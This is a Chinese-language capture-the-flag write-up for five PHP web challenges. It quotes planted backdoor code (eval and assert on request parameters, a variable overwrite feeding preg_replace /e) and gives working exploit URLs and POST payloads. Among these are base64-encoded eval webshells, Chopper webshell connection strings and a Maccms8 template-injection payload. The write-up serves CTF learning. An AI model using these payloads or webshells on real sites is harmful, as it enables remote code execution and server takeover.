web1
漏洞位置
/engine/Plugin/View.php | 227行 | 任意代码执行 |
@($_REQUEST['test']);
漏洞利用
由于View.php第一行代码:
<?php defined('WEBSITE_ACCESS') or die('No direct script access.');
使得View.php必须通过定义了WEBSITE_ACCESS的php文件包含才能加载,尝试在index.php直接get提交test参数,即可利用成功。菜刀连接直接连接index.php即可,密码为test。或者利用如下url直接getflag:
index.php?test=system('cat /flag');
具体index.php是如何包含view.php的,过程比较复杂,我还没研究明白。
web2
本题不能通过直接把服务器下载的源码直接挂到其他服务器上,因为要连接数据库,所以找未安装的maxcms源码运行install.php即可,源码下载:https://pan.baidu.com/s/1D43OY8k01UNALZsLCBEN4A 密码:pc4m
漏洞分析
Maccms8.x 命令执行漏洞分析(苹果cms) - 颓废’s Blog
漏洞利用
菜刀连接如下url,密码为0
/index.php?m=vod-search&wd={if-A:assert($_POST[0])}{endif-A}
或者利用如下url直接getflag
/index.php?m=vod-search&wd={if-A:system('cat /flag')}{endif-A}
web3
漏洞位置
/admin/inc/configuration.php | 4行 | 任意代码执行 |
@array_map('assert',(array)base64_decode($_REQUEST['getconfig']));
array_map
将函数作用到数组中的每个值上,每个值都乘以本身,并返回带有新值的数组:
<?php
function myfunction($v)
{
return($v*$v);
}
$a=array(1,2,3,4,5);
print_r(array_map("myfunction",$a));
?>
漏洞分析
- 将请求中的getconfig参数baes64编码后,转换为数组
- 将数组中的每一个值(其实就一个),传给assert函数,导致任意代码执行
漏洞利用
<?php
echo base64_encode('@eval($_POST[0]);')."\n";
//QGV2YWwoJF9QT1NUWzBdKTs=
echo base64_encode("system('cat /flag');");
//c3lzdGVtKCdjYXQgL2ZsYWcnKTs=
?>
菜刀连接如下url,密码为0
admin/inc/configuration.php?getconfig=QGV2YWwoJF9QT1NUWzBdKTs=
或者直接getflag
admin/inc/configuration.php?getconfig=c3lzdGVtKCdjYXQgL2ZsYWcnKTs=
web4
php5.4及其以上正常运行此题
漏洞位置
/index.php | 8-11行 | 任意代码执行 |
if(md5(@$_GET['p']) == '962012d09b8170d912f0669f6d7d9d07'){
eval($_POST['hello']);
die();
}
/data/inc/front/product.php | 53行 | 任意代码执行 |
($_=@$_GET['hs']).@$_($_POST['c014']);
漏洞分析
- 漏洞1
cmd5解出962012d09b8170d912f0669f6d7d9d07为qwer
- 漏洞2
product.php第一行
defined('defined('IN_CMS') or exit('Access denied!');') or exit('Access denied!');
需要被定义IN_CMS的其他php文件包含才能执行,容易发现index.php有file参数,即可包含
index.php 90-101行
if (isset($_GET['file']))
{
$file = $_GET['file'];
if (strpos($file, '..')!==false || strpos($file, 'images/')!==false){
die("ctf{ff96520020d34df2f5058e74bc274c87}");
}
include('data/inc/front/'.$_GET['file'].'.php');
}
else
{
include('data/inc/front/index.php');
}
漏洞利用
- 漏洞1
index.php?p=qwer
hello=system('cat /flag');
- 漏洞2
index.php?file=product.php&cid=3&page=1&hs=system
c014=cat /flag
web5
漏洞位置
/normaliz.php | 4-17行 | 任意代码执行 |
function action($post_data, $ip_replacement, $mail_replacement){
foreach ($post_data as $key => $value) {
$$key = $value;
}
try{
if ($method == '/\\d+\\.\\d+\\.\\d+\\.\\d+/')
{
$res = preg_replace($method, $ip_replacement, $source);
}
else
{
$res = preg_replace($method, $mail_replacement, $source);
}
}
漏洞分析
- $$key=$value;导致变量覆盖,可覆盖$method, $ip_replacement, $source
- 使$method覆盖为为/e匹配模式
- 找到$post_data在/action.php中由所有的POST参数生成
- 并且action.php存在文件包含功能
action.php
<?php
require_once("library/common.php");
require_once("library/view.php");
$page = filter($_POST['page']).'.php';
$post_data = array();
foreach ($_POST as $key => $value) {
$post_data[$key] = $value;
}
@require_once($page);
?>
漏洞利用
利用action.php包含normaliz.php,然后覆盖相应变量即可,payload如下:
/action.php
page=normaliz&method=/a/e&mail_replacement=system('cat /flag');&source=a